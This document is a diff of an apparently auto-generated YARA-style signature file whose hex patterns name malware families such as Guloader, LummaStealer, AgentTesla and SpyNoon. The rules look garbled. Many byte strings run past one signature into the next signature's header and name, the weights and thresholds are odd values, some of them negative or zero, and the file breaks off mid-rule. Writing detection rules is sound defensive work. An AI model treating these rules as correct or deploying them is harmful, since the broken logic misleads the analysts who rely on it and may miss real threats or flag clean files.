"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -133306,7 +142216,18 @@ rule _InfrastructureShared_12024{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_12025{ +rule _InfrastructureShared_12815{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 5a 30 31 21 4d 54 42 00 01 00 2a 81 01 73 76 61 72 73 6b 72 69 66 74 65 72 6e 65 20 6e 6f 6e 63 61 72 6e 69 76 6f 72 6f 75 73 6c 79 20 75 6c 73 65 6c 69 67 68 65 64 01 00 1c 81 01 72 74 6f 72 6f } //18467 + $a_73_1 = {65 73 20 6c 65 6d 6c 73 74 65 6c 73 65 72 2e 65 78 65 01 00 30 81 01 75 6e 64 65 72 76 69 73 6e 69 6e 67 73 69 6e 64 65 6b 73 65 20 6d 6f 64 73 69 67 65 6c 73 65 6e 73 20 69 6e 64 6c 61 61 6e 73 6b 6f 6e 74 69 73 00 00 78 ad 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 53 79 73 64 75 70 61 74 65 2e 48 21 4d 54 42 } //24941 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24941) >=3 + +} +rule _InfrastructureShared_12816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -133318,7 +142239,7 @@ rule _InfrastructureShared_12025{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-1+(#a_ec_2 & 1)*17863) >=3 } -rule _InfrastructureShared_12026{ +rule _InfrastructureShared_12817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -133331,7 +142252,7 @@ rule _InfrastructureShared_12026{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*21247+(#a_01_2 & 1)*5631+(#a_67_3 & 1)*28257) >=3 } -rule _InfrastructureShared_12027{ +rule _InfrastructureShared_12818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -133344,7 +142265,7 @@ rule _InfrastructureShared_12027{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*12576+(#a_01_2 & 1)*-28557+(#a_73_3 & 1)*-30362) >=3 } -rule _InfrastructureShared_12028{ +rule _InfrastructureShared_12819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -133358,7 +142279,7 @@ rule _InfrastructureShared_12028{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_6d_2 & 1)*17268+(#a_65_3 & 1)*24910+(#a_61_4 & 1)*14934) >=3 } -rule _InfrastructureShared_12029{ +rule _InfrastructureShared_12820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -133372,7 +142293,7 @@ rule _InfrastructureShared_12029{ ((#a_46_0 & 1)*21283+(#a_47_1 & 1)*11876+(#a_64_2 & 1)*28781+(#a_6c_3 & 1)*29793+(#a_74_4 & 1)*25120) >=3 } -rule _InfrastructureShared_12030{ +rule _InfrastructureShared_12821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -133387,7 +142308,7 @@ rule _InfrastructureShared_12030{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_49_2 & 1)*23851+(#a_00_3 & 1)*0+(#a_4c_4 & 1)*8993+(#a_70_5 & 1)*29797) >=3 } -rule _InfrastructureShared_12031{ +rule _InfrastructureShared_12822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 06 00 21 " @@ -133402,7 +142323,7 @@ rule _InfrastructureShared_12031{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3840+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=3 } -rule _InfrastructureShared_12032{ +rule _InfrastructureShared_12823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -133413,7 +142334,7 @@ rule _InfrastructureShared_12032{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*80) >=4 } -rule _InfrastructureShared_12033{ +rule _InfrastructureShared_12824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -133426,7 +142347,7 @@ rule _InfrastructureShared_12033{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*13360+(#a_3a_2 & 1)*28527+(#a_90_3 & 1)*13142) >=4 } -rule _InfrastructureShared_12034{ +rule _InfrastructureShared_12825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -133439,7 +142360,7 @@ rule _InfrastructureShared_12034{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29281+(#a_90_2 & 1)*25455+(#a_01_3 & 1)*6656) >=4 } -rule _InfrastructureShared_12035{ +rule _InfrastructureShared_12826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -133451,7 +142372,7 @@ rule _InfrastructureShared_12035{ ((#a_6c_0 & 1)*16675+(#a_72_2 & 1)*17921+(#a_6f_3 & 1)*28261) >=4 } -rule _InfrastructureShared_12036{ +rule _InfrastructureShared_12827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -133464,7 +142385,7 @@ rule _InfrastructureShared_12036{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*385+(#a_54_2 & 1)*8499+(#a_6c_3 & 1)*25975) >=4 } -rule _InfrastructureShared_12037{ +rule _InfrastructureShared_12828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -133476,7 +142397,7 @@ rule _InfrastructureShared_12037{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28526+(#a_01_2 & 1)*7424) >=4 } -rule _InfrastructureShared_12038{ +rule _InfrastructureShared_12829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -133489,7 +142410,7 @@ rule _InfrastructureShared_12038{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26988+(#a_00_2 & 1)*97+(#a_d1_3 & 1)*19459) >=4 } -rule _InfrastructureShared_12039{ +rule _InfrastructureShared_12830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -133497,26 +142418,37 @@ rule _InfrastructureShared_12039{ $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6f 63 68 61 2e 41 21 64 68 61 00 01 00 0f 03 4c 8b d1 0f 05 c3 48 89 90 02 03 48 89 90 00 01 00 50 00 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 } //16675 $a_75_1 = {72 65 6e 74 56 65 72 73 69 6f 6e 5c 48 6f 6d 65 47 72 6f 75 70 5c 50 75 62 6c 69 73 68 65 64 4d 65 73 73 61 67 65 4f 66 66 6c 69 6e 65 43 61 63 68 65 01 00 07 01 74 6d 70 2e 62 69 6e 01 00 05 01 53 44 } //23667 $a_01_2 = {00 04 01 41 4b 65 79 00 00 78 ad 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e 41 47 54 00 01 00 14 01 49 66 20 65 78 69 73 74 20 22 25 73 22 20 47 6f 74 6f 20 31 01 00 0d 03 66 3d 16 04 0f 85 90 09 } //29793 - $a_90_3 = {01 00 1d 03 8b 30 ff 56 0c 89 03 83 3b 00 74 11 ba 90 01 0b 8b 30 ff 56 10 83 3b 00 7f cf a1 90 00 01 00 10 01 f5 ff ff 8b 4d dc 8d 45 e0 8b 15 b0 62 49 00 e8 01 00 19 03 06 75 4a 8d 95 8c fe ff ff b8 90 01 04 e8 90 01 04 8b 8d 8c fe ff ff 90 00 00 00 78 ad 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6b 6f 77 69 74 00 01 00 15 00 4e 74 43 72 65 61 74 65 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 01 00 1d 00 4e 74 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 01 00 17 00 4e 74 53 68 75 74 64 6f 77 6e 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 02 00 22 00 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 57 6f 72 6b 65 72 46 61 } //5 - $a_72_4 = {20 66 61 69 6c 65 64 01 00 0b 01 48 c7 44 24 50 bf be be be ff d6 00 00 78 ad 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 10 81 01 70 75 72 63 68 61 73 65 5f 63 6c 69 63 6b 65 64 01 00 2b 81 01 4f 75 74 70 75 74 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c } //29795 + $a_90_3 = {01 00 1d 03 8b 30 ff 56 0c 89 03 83 3b 00 74 11 ba 90 01 0b 8b 30 ff 56 10 83 3b 00 7f cf a1 90 00 01 00 10 01 f5 ff ff 8b 4d dc 8d 45 e0 8b 15 b0 62 49 00 e8 01 00 19 03 06 75 4a 8d 95 8c fe ff ff b8 90 01 04 e8 90 01 04 8b 8d 8c fe ff ff 90 00 00 00 78 ad 00 00 05 00 05 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 33 00 02 00 16 03 2e 74 68 65 6d 69 64 61 90 01 1c 60 00 00 e0 2e 62 6f 6f 74 90 00 02 00 22 03 50 45 00 00 4c 01 07 90 01 11 0b 01 06 00 00 a0 01 00 00 30 00 00 00 00 00 00 58 a0 40 00 00 10 90 00 01 00 48 00 49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 5a 00 6f 00 6f 00 6d 00 20 00 4d 00 65 00 65 00 74 00 69 } //5 condition: - ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*23667+(#a_01_2 & 1)*29793+(#a_90_3 & 1)*5+(#a_72_4 & 1)*29795) >=4 + ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*23667+(#a_01_2 & 1)*29793+(#a_90_3 & 1)*5) >=4 } -rule _InfrastructureShared_12040{ +rule _InfrastructureShared_12831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 42 61 6e 6c 6f 61 64 2e 41 47 54 00 01 00 14 01 49 66 20 65 78 69 73 74 20 22 25 73 22 20 47 6f 74 6f 20 31 01 00 0d 03 66 3d 16 04 0f 85 90 09 05 00 e8 90 00 01 00 1d 03 8b 30 } //18467 $a_89_1 = {83 3b 00 74 11 ba 90 01 0b 8b 30 ff } //22271 - $a_3b_2 = {7f cf a1 90 00 01 00 10 01 f5 ff ff 8b 4d dc 8d 45 e0 8b 15 b0 62 49 00 e8 01 00 19 03 06 75 4a 8d 95 8c fe ff ff b8 90 01 04 e8 90 01 04 8b 8d 8c fe ff ff 90 00 00 00 78 ad 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6b 6f 77 69 74 00 01 00 15 00 4e 74 43 72 65 61 74 65 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 01 00 1d 00 4e 74 53 65 74 49 6e 66 6f } //4182 - $a_74_3 = {6f 6e 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 01 00 17 00 4e 74 53 68 75 74 64 6f 77 6e 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 02 00 22 00 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 20 66 61 69 6c 65 64 01 00 0b 01 48 c7 44 24 50 bf be be be ff d6 00 00 } //28018 + $a_3b_2 = {7f cf a1 90 00 01 00 10 01 f5 ff ff 8b 4d dc 8d 45 e0 8b 15 b0 62 49 00 e8 01 00 19 03 06 75 4a 8d 95 8c fe ff ff b8 90 01 04 e8 90 01 04 8b 8d 8c fe ff ff 90 00 00 00 78 ad 00 00 05 00 05 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 33 00 02 00 16 03 2e 74 68 65 6d 69 64 61 90 01 1c 60 00 00 e0 2e 62 6f 6f 74 90 00 02 00 22 03 50 45 00 00 4c 01 07 90 01 11 } //4182 + $a_00_3 = {00 a0 01 00 00 30 } //267 condition: - ((#a_54_0 & 1)*18467+(#a_89_1 & 1)*22271+(#a_3b_2 & 1)*4182+(#a_74_3 & 1)*28018) >=4 + ((#a_54_0 & 1)*18467+(#a_89_1 & 1)*22271+(#a_3b_2 & 1)*4182+(#a_00_3 & 1)*267) >=4 } -rule _InfrastructureShared_12041{ +rule _InfrastructureShared_12832{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 33 00 02 00 16 03 2e 74 68 65 6d 69 64 61 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 00 00 e0 2e 62 6f 6f 74 90 00 02 00 22 03 50 45 00 00 4c 01 07 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0b 01 06 00 00 a0 01 00 00 30 00 00 00 00 00 00 58 a0 40 00 00 10 } //18467 + $a_00_1 = {49 00 6e 00 74 00 65 00 72 00 6e 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 00 00 5a 00 6f 00 6f 00 6d 00 20 00 4d 00 65 00 65 00 74 00 69 00 6e 00 67 00 73 00 20 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 } //1 + $a_ad_2 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6b 6f 77 69 74 00 01 00 15 00 4e 74 43 72 65 61 74 65 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 01 00 1d 00 4e 74 53 65 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 01 00 17 00 4e 74 53 68 75 74 64 6f 77 6e 57 6f 72 6b 65 72 46 61 63 74 6f 72 79 02 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_ad_2 & 1)*0) >=5 + +} +rule _InfrastructureShared_12833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133530,7 +142462,7 @@ rule _InfrastructureShared_12041{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29295+(#a_00_2 & 1)*66+(#a_75_3 & 1)*385+(#a_61_4 & 1)*24900) >=5 } -rule _InfrastructureShared_12042{ +rule _InfrastructureShared_12834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133544,7 +142476,7 @@ rule _InfrastructureShared_12042{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25938+(#a_41_2 & 1)*19529+(#a_2e_3 & 1)*25955+(#a_4d_4 & 1)*28257) >=5 } -rule _InfrastructureShared_12043{ +rule _InfrastructureShared_12835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133558,7 +142490,7 @@ rule _InfrastructureShared_12043{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*21087+(#a_65_2 & 1)*16687+(#a_61_3 & 1)*29793+(#a_46_4 & 1)*25926) >=5 } -rule _InfrastructureShared_12044{ +rule _InfrastructureShared_12836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133572,7 +142504,7 @@ rule _InfrastructureShared_12044{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29810+(#a_65_2 & 1)*29806+(#a_6b_3 & 1)*30318+(#a_62_4 & 1)*29556) >=5 } -rule _InfrastructureShared_12045{ +rule _InfrastructureShared_12837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133586,7 +142518,7 @@ rule _InfrastructureShared_12045{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29811+(#a_48_2 & 1)*8448+(#a_6e_3 & 1)*24941+(#a_65_4 & 1)*26994) >=5 } -rule _InfrastructureShared_12046{ +rule _InfrastructureShared_12838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133600,7 +142532,7 @@ rule _InfrastructureShared_12046{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24941+(#a_61_2 & 1)*27765+(#a_01_3 & 1)*7936+(#a_66_4 & 1)*384) >=5 } -rule _InfrastructureShared_12047{ +rule _InfrastructureShared_12839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133614,7 +142546,7 @@ rule _InfrastructureShared_12047{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*8293+(#a_20_2 & 1)*19781+(#a_6f_3 & 1)*26723+(#a_5c_4 & 1)*28781) >=5 } -rule _InfrastructureShared_12048{ +rule _InfrastructureShared_12840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133628,7 +142560,7 @@ rule _InfrastructureShared_12048{ ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*28487+(#a_74_2 & 1)*28498+(#a_6c_3 & 1)*11852+(#a_33_4 & 1)*19457) >=5 } -rule _InfrastructureShared_12049{ +rule _InfrastructureShared_12841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -133640,7 +142572,7 @@ rule _InfrastructureShared_12049{ ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*14849+(#a_48_3 & 1)*8448) >=5 } -rule _InfrastructureShared_12050{ +rule _InfrastructureShared_12842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -133648,28 +142580,43 @@ rule _InfrastructureShared_12050{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 54 65 73 6c 61 2e 52 50 32 36 31 32 32 33 21 4d 54 42 00 01 00 0e 01 4b 33 5a 45 74 78 55 35 6a 49 37 53 42 4e 01 00 27 01 4c 35 33 47 53 6f 38 50 57 75 54 78 32 2e 33 48 62 43 4c 39 38 78 56 54 69 } //18467 $a_55_1 = {72 65 73 6f 75 72 63 65 73 01 00 10 01 44 45 50 68 57 66 54 65 37 51 4d 39 33 6c 46 6f 01 00 0d 01 45 30 59 77 36 64 70 41 57 63 76 56 48 01 00 0a 01 47 65 74 41 77 61 69 74 65 72 01 00 07 01 53 48 57 41 } //16737 $a_00_2 = {00 78 ad 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 41 52 31 21 4d 54 42 00 01 00 0e 01 00 42 69 74 43 6f 6e 76 65 72 74 65 72 00 01 00 12 01 00 } //14193 - $a_6d_3 = {61 73 65 36 34 53 74 72 69 6e 67 00 01 00 0e 01 00 67 65 74 5f 43 6f 64 65 42 61 73 65 00 01 00 09 01 00 52 65 70 6c 61 63 65 00 01 00 0b 01 00 56 4d 42 73 4e 50 32 30 33 00 01 00 28 01 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 00 00 78 ad 00 00 07 00 07 } //29254 - $a_52_5 = {45 6f 72 65 7a 6f 5f 41 70 70 42 75 69 6c 64 65 72 2e 41 31 00 04 00 19 03 43 3a 5c 61 70 70 62 75 69 6c 64 65 72 5f 76 90 02 08 5c 73 72 63 5c 90 00 04 00 18 03 43 3a 5c 61 70 70 62 75 69 6c 64 65 72 90 02 08 5c 61 70 70 73 5c 90 00 02 00 1e 03 5c 43 } //21320 + $a_6d_3 = {61 73 65 36 34 53 74 72 69 6e 67 00 01 00 0e 01 00 67 65 74 5f 43 6f 64 65 42 61 73 65 00 01 00 09 01 00 52 65 70 6c 61 63 65 00 01 00 0b 01 00 56 4d 42 73 4e 50 32 30 33 00 01 00 28 01 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 00 00 78 ad 00 00 06 00 06 } //29254 + $a_52_5 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 4f 30 31 21 4d 54 42 00 01 00 15 81 01 66 6f 72 74 74 6e 69 6e 67 65 72 6e 65 73 20 74 72 61 70 70 79 01 00 15 81 01 64 65 6d 69 6c 69 74 61 72 69 73 65 72 69 6e 67 73 2e 65 78 65 } //21320 condition: ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*16737+(#a_00_2 & 1)*14193+(#a_6d_3 & 1)*29254+(#a_52_5 & 1)*21320) >=6 } -rule _InfrastructureShared_12051{ +rule _InfrastructureShared_12843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 41 52 31 21 4d 54 42 00 01 00 0e 01 00 42 69 74 43 6f 6e 76 65 72 74 65 72 00 01 00 12 01 00 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 01 00 0e 01 00 67 65 74 5f 43 6f 64 65 42 } //18467 - $a_00_1 = {01 00 09 01 00 52 65 70 6c 61 63 65 00 01 00 0b 01 00 56 4d 42 73 4e 50 32 30 33 00 01 00 28 01 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 00 00 78 ad 00 00 07 00 07 00 05 00 21 23 48 53 54 52 3a 45 6f 72 65 7a 6f 5f 41 70 70 } //29537 - $a_6c_2 = {65 72 2e 41 31 00 04 00 19 03 43 3a 5c 61 70 70 62 75 69 6c 64 65 72 5f 76 90 02 08 5c 73 72 63 5c 90 00 04 00 18 03 43 3a 5c 61 70 70 62 75 69 6c 64 65 72 90 02 08 5c 61 70 70 73 5c 90 00 02 00 1e 03 5c 43 6f 6d 42 72 6f 61 64 63 61 73 74 65 72 2d 90 02 08 5c 52 65 6c 65 61 73 65 5c 90 00 01 00 14 01 57 42 4e 6f } //30018 - $a_69_3 = {72 54 65 73 74 65 72 2e 70 64 62 01 00 12 01 43 6f 6d 42 72 6f 61 64 63 61 73 74 65 72 2e 70 64 62 00 00 78 ad 00 00 07 00 07 00 07 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 6f 72 65 54 65 63 68 54 65 73 74 00 01 00 06 80 01 4d 62 61 6d 55 49 01 00 0b 80 01 4d 42 41 4d 53 44 4b 54 65 73 74 01 00 0d 80 01 } //26996 - $a_6d_4 = {69 73 64 6b 2e 64 6c 6c 01 00 0d 80 01 4d 42 41 4d 43 48 41 4d 45 4c 45 4f 4e 01 00 19 80 01 4d 42 41 4d 53 44 4b 54 65 73 74 2e 54 65 73 74 46 72 61 6d 65 77 6f 72 6b 01 00 10 80 01 43 6f 72 65 54 65 63 68 54 65 73 74 2e 64 6c 6c 01 00 15 80 01 43 6f 72 65 54 65 63 68 54 65 73 74 2e 54 65 } //25197 - $a_61_5 = {61 00 00 78 ad 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4f 32 30 21 4d 54 42 00 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 } //29811 + $a_00_1 = {01 00 09 01 00 52 65 70 6c 61 63 65 00 01 00 0b 01 00 56 4d 42 73 4e 50 32 30 33 00 01 00 28 01 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 00 00 78 ad 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //29537 + $a_47_2 = {4c 6f 61 64 65 72 2e 56 4e 4f 30 31 21 4d 54 42 00 01 00 15 81 01 66 6f 72 74 74 6e 69 6e 67 65 72 6e 65 73 20 74 72 61 70 70 79 01 00 15 81 } //12851 + $a_6d_3 = {6c 69 74 61 72 69 73 65 72 69 6e 67 73 2e 65 78 65 01 00 08 81 01 6b 6c 69 70 68 61 61 73 01 00 0e 81 01 73 63 72 65 65 6e 69 6e 67 65 72 6e 65 73 01 00 0e 81 01 72 65 76 65 72 73 69 62 69 6c 69 74 65 74 01 00 12 81 01 65 6b 76 69 70 65 72 69 6e 67 73 68 61 6e 64 6c 65 72 00 00 78 ad 00 00 07 00 07 00 } //25601 + $a_23_4 = {53 54 52 3a 45 6f 72 65 7a 6f 5f 41 70 70 42 75 69 6c 64 65 72 2e 41 31 00 04 00 19 03 43 3a 5c 61 } //5 + $a_75_5 = {6c 64 65 72 5f 76 90 02 08 5c 73 72 63 5c 90 00 04 00 18 03 43 3a 5c 61 70 70 62 75 69 6c 64 65 72 90 02 08 5c 61 70 70 73 5c 90 00 02 00 1e 03 5c 43 6f 6d 42 72 6f 61 64 63 61 73 74 65 72 2d 90 02 08 5c 52 65 6c 65 61 73 65 5c 90 00 01 00 14 01 57 42 4e 6f 74 69 66 69 65 72 54 65 73 74 65 72 } //28784 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29537+(#a_6c_2 & 1)*30018+(#a_69_3 & 1)*26996+(#a_6d_4 & 1)*25197+(#a_61_5 & 1)*29811) >=6 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29537+(#a_47_2 & 1)*12851+(#a_6d_3 & 1)*25601+(#a_23_4 & 1)*5+(#a_75_5 & 1)*28784) >=6 } -rule _InfrastructureShared_12052{ +rule _InfrastructureShared_12844{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 4f 30 31 21 4d 54 42 00 01 00 15 81 01 66 6f 72 74 74 6e 69 6e 67 65 72 6e 65 73 20 74 72 61 70 70 79 01 00 15 81 01 64 65 6d 69 6c 69 74 61 72 69 73 65 72 69 6e 67 73 2e 65 } //18467 + $a_00_1 = {08 } //25976 + $a_6c_2 = {70 68 61 61 73 01 00 0e 81 01 73 63 72 65 65 6e 69 6e 67 65 72 6e 65 73 01 00 0e 81 01 72 65 76 65 72 73 69 62 69 6c 69 74 65 74 01 00 12 81 01 65 6b 76 69 70 65 72 69 6e 67 73 68 61 6e 64 6c 65 72 00 00 78 ad 00 00 07 00 07 00 05 00 21 23 48 53 54 52 3a 45 6f 72 65 7a 6f 5f 41 70 70 42 75 69 6c 64 65 72 2e 41 31 00 04 } //385 + $a_43_3 = {5c 61 70 } //6400 \ap + $a_69_4 = {64 65 72 5f 76 90 02 08 5c 73 72 63 5c 90 00 04 00 18 03 43 3a 5c 61 70 70 62 75 69 6c 64 65 72 90 02 08 5c 61 70 70 73 5c 90 00 02 00 1e 03 5c 43 6f 6d 42 72 6f 61 64 63 61 73 74 65 72 2d 90 02 08 5c 52 65 6c 65 61 73 65 5c 90 00 01 00 14 01 57 42 4e 6f 74 69 66 69 65 72 54 65 73 74 65 72 2e 70 64 62 01 00 12 01 43 6f 6d 42 72 6f 61 64 63 61 73 74 } //25200 + $a_70_5 = {62 00 00 78 ad 00 00 07 00 07 00 07 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 6f 72 65 54 65 63 68 54 65 73 74 00 01 00 06 80 01 4d 62 61 } //29285 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25976+(#a_6c_2 & 